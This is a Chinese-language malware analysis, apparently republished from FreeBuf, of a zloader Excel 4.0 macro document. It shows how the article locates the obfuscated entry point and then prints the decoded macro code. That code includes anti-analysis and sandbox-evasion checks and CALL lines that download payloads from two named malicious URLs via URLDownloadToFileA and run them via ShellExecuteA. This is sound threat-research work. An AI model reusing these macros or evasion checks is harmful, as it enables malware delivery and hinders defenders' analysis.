23

zloader再次升级检测逃避措施

 4 years ago
source link: https://www.freebuf.com/articles/others-articles/237719.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

最近出现的 zloader 的恶意文档升级了额外的检测逃避手段,使得确定宏代码的入口点以及额外的分析变得更加困难。

介绍

多亏了 Excel 4.0 宏才让很多恶意代码老树开新花,来!所有人都必须熟悉这些古老的宏代码。

在 2020 年 4 月初时,宏代码仍然相当整洁:

mANFbu3.jpg!web

随后,Trickbot 增加了隐藏工作簿、随机位置写入宏等检测逃避的手段让分析变得更加困难:

FFBBBzM.jpg!web

时至今日,@ffforward 发布的 Twitter 描述了一个 zloader 的 恶意文档 。乍一看该文档没什么异常,没有任何隐藏的工作簿或受密码保护的宏。而如果你查看 Sheet2 的内容并缩小比例尺,则会看到分散在各处的 Excel 4.0 宏代码。

nAVBVz7.jpg!web

寻找起点

困难的是找到宏代码执行的起始位置。可以尝试搜索 formula 并右键点击搜索到的第一个单元格,然后尝试逐步执行宏代码。

fUNvQ3i.jpg!web

但是,由于该公式依赖已经写入不同单元格的信息,执行会失败。只有发现的正确的起始位置才会发生这种问题。

67rABrv.jpg!web

这意味着确实找对了起始位置,幸运的是 @c0ntrol_z 撰写了如何找到混淆的 auto_open 标签的内容,最终在隐藏的 Excel 命名管理器中找到了起始位置的标签(详见 @control_z 与 @BouncyHat 的 讨论 )。使用与 @c0ntrol_z 相同的命令,oledump.py 也可以为我们提供类似的输出结果。

6vymyeE.jpg!web

oledump.py -p plugin_biff –pluginoptions “-o LABEL -a” [file]

ERJreyy.jpg!web

使用十六进制编辑器可以用 0×00 覆盖 0×21,用 0×67 覆盖 0×01。

3UBVz2J.jpg!web

此时,就可以在单元格 C2004 处看到起始位置了。

iuMJBfY.jpg!web

检测逃避

发现了起始位置后,就可以开始逐步执行宏代码了。这是一个非常繁琐的过程,以下是解码后的字符串:

=FORMULA.FILL("=CLOSE(FALSE)",$AS$58860) => CLOSE active window
=APP.MAXIMIZE()
=IF(GET.WINDOW(7),GOTO(AS58860),) => Check if window is hidden
=IF(GET.WINDOW(20),,GOTO(AS58860)) => Check if window is maximized
=IF(GET.WINDOW(23)<3,GOTO(AS58860),) => Check size of window
=IF(GET.WORKSPACE(31),GOTO(AS58860),) => Check if macro is in single-step mode
=IF(GET.WORKSPACE(13)<770,GOTO(AS$58860),) => Check workspace width
=IF(GET.WORKSPACE(14)<390,GOTO(AS$58860),) => Check workspace height
=IF(GET.WORKSPACE(19),,GOTO(AS58860)) => Check if mouse is present
=IF(GET.WORKSPACE(42),,GOTO(AS58860)) => Check if sounds can be played
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,GOTO(AS58860)) => Get name of environment in which Excel is running followed by version number

如果这些检查中的任何一项失败,将在单元格 AS58860 处结束并关闭文档。

其他内容

Micah Lee 的 文章 中显示了许多与本文处理的文档相同的命令。该文档从注册表导出信息,检查是否禁用了宏。接着继续下载恶意软件并执行,以下是解码后的命令内容:

=FOPEN(IP22567)
    =FOPEN("C:\Users\Public\I6yqG.reg")  => exported registry information
=FREAD(J22179,255)
    =FREAD(0,255)
    "
    ""AccessVBOM""=dwoord:00000000
    ""VBAWarnings""=dword:00000002  => "Disable all macros with notification"
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,FG10424,K233749,0,0)
=FORMULA.FILL("=""https://japanjisho.info/wp-keys.php""",$ID$41767)
=FORMULA.FILL("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R[39648]C[185],R[40313]C[52],0,0)",$BA$2119)
=FORMULA.FILL("="https://gavrelets.ru/wp-keys.php""",$CV$22613)
=FORMULA.FILL("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R[-11997]C[84],R[7822]C[89],0,0)",$P$34610)
=FORMULA.FILL("=CALL(""Shell32"",""ShellExecuteA"",""JJCCCJJ"",0,""open"",R[5114]C[-11],R[-21047]C[188],0,5)",$AG$31196)
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,ID41767,DA42432,0,0)

过去的一个多月内,zloader 使用的核心命令改动并不大,但是攻击者在外部增加了许多防御措施来阻碍分析。在未来,这种阻碍分析的检测逃避技术还将会继续发展。

*参考来源: ClickAllthethings ,FB 小编 Avenger 编译,转载请注明来自 FreeBuf.COM


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK